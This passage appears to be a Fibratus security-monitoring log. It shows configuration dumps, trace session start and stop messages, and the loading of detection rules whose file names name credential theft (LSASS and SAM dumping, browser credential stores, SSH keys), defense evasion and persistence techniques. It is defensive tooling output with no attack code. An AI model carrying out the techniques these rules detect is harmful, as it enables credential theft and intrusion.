remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true scan-timeout=>10s enabled=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-mmaps=>false skip-allocs=>false excluded-procs=>[] skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-06T19:30:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-06T19:31:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-06T19:36:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-06T19:36:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-06T19:36:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-06T19:36:59+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-06T19:36:59+01:00 level=info msg=bootstrapping with pid 15416. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-06T19:36:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] enabled=>false port=>25 content-type=>text/html use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ stack-enrichment=>true enable-net=>true enable-mem=>true enable-handle=>false enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-vamap=>true enable-thread=>true enable-threadpool=>false flush-interval=>1s buffer-size=>512 enable-fileio=>true enable-audit-api=>true enable-image=>true enable-dns=>false max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true level=>info max-size=>100 max-age=>0 max-backups=>15] + output ......................... [ amqp=>[ exchange-type=>topic enabled=>false timeout=>5s tls-insecure-skip-verify=>false delivery-mode=>transient vhost=>/ durable=>false exchange=>fibratus passive=>false routing-key=>fibratus url=>amqp://localhost:5672] elasticsearch=>[ template-name=>fibratus gzip-compression=>false healthcheck=>true bulk-workers=>1 healthcheck-interval=>10s sniff=>false flush-period=>1s timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s trace-log=>false index-name=>fibratus enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] http=>[ serializer=>json enabled=>false endpoints=>[] tls-insecure-skip-verify=>false method=>POST timeout=>5s enable-gzip=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false excluded-procs=>[] fastscan=>true skip-files=>false skip-registry=>false scan-timeout=>10s skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-06T19:36:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-06T19:37:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-06T19:42:20+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-06T19:42:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-06T19:42:21+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-06T19:42:25+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-06T19:42:25+01:00 level=info msg=bootstrapping with pid 2600. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-06T19:42:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false to=>[] use-template=>true port=>25 content-type=>text/html] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ max-buffers=>36 buffer-size=>512 enable-threadpool=>false stack-enrichment=>true flush-interval=>1s enable-thread=>true enable-audit-api=>true enable-handle=>false enable-mem=>true enable-fileio=>true enable-image=>true enable-registry=>true enable-net=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 log-stdout=>true max-backups=>15 formatter=>text level=>info] + output ......................... [ amqp=>[ durable=>false delivery-mode=>transient url=>amqp://localhost:5672 vhost=>/ exchange=>fibratus enabled=>false passive=>false routing-key=>fibratus exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck=>true enabled=>false bulk-workers=>1 flush-period=>1s healthcheck-timeout=>5s gzip-compression=>false healthcheck-interval=>10s index-name=>fibratus sniff=>false trace-log=>false template-name=>fibratus] http=>[ endpoints=>[] enable-gzip=>false enabled=>false method=>POST timeout=>5s tls-insecure-skip-verify=>false serializer=>json]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-mmaps=>false skip-allocs=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false excluded-files=>[] excluded-procs=>[] scan-timeout=>10s fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-06T19:42:25+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-06T19:42:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-09T17:33:42+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-09T17:33:42+01:00 level=info msg=bootstrapping with pid 13012. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-09T17:33:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ content-type=>text/html to=>[] use-template=>true enabled=>false port=>25] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ max-buffers=>36 stack-enrichment=>true min-buffers=>16 enable-net=>true enable-audit-api=>true enable-mem=>true flush-interval=>1s enable-vamap=>true enable-threadpool=>false enable-fileio=>true enable-image=>true enable-dns=>false enable-registry=>true buffer-size=>512 enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info max-backups=>15 log-stdout=>true max-size=>100 max-age=>0] + output ......................... [ amqp=>[ timeout=>5s delivery-mode=>transient vhost=>/ tls-insecure-skip-verify=>false exchange-type=>topic passive=>false url=>amqp://localhost:5672 routing-key=>fibratus enabled=>false exchange=>fibratus durable=>false] eventlog=>[ level=>info enabled=>false] http=>[ enable-gzip=>false serializer=>json timeout=>5s method=>POST enabled=>false tls-insecure-skip-verify=>false endpoints=>[]] elasticsearch=>[ timeout=>5s template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s index-name=>fibratus bulk-workers=>1 sniff=>false healthcheck-timeout=>5s trace-log=>false enabled=>false flush-period=>1s healthcheck=>true gzip-compression=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] fastscan=>true excluded-files=>[] skip-registry=>false skip-mmaps=>false enabled=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:187 +time=2025-12-09T17:33:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-09T17:33:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-09T17:34:01+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-09T17:34:01+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-09T17:34:02+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-09T17:36:57+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-09T17:36:57+01:00 level=info msg=bootstrapping with pid 2644. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-09T17:36:57+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true to=>[] enabled=>false port=>25 content-type=>text/html] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-fileio=>true enable-registry=>true enable-threadpool=>false enable-dns=>false max-buffers=>36 enable-image=>true enable-handle=>false enable-vamap=>true enable-net=>true min-buffers=>16 enable-audit-api=>true stack-enrichment=>true enable-mem=>true enable-thread=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 formatter=>text level=>info max-backups=>15 log-stdout=>true] + output ......................... [ elasticsearch=>[ healthcheck-timeout=>5s flush-period=>1s index-name=>fibratus servers=>[http://127.0.0.1:9200] enabled=>false bulk-workers=>1 gzip-compression=>false trace-log=>false template-name=>fibratus timeout=>5s healthcheck=>true healthcheck-interval=>10s sniff=>false] eventlog=>[ enabled=>false level=>info] http=>[ serializer=>json enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] method=>POST timeout=>5s] amqp=>[ exchange-type=>topic exchange=>fibratus passive=>false url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false routing-key=>fibratus durable=>false tls-insecure-skip-verify=>false timeout=>5s vhost=>/] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false scan-timeout=>10s skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false excluded-procs=>[] fastscan=>true excluded-files=>[] skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-09T17:36:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-09T17:37:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-09T17:37:29+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-09T17:37:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-09T17:37:30+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-09T17:57:13+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T17:57:13+01:00 level=info msg=loading rule from 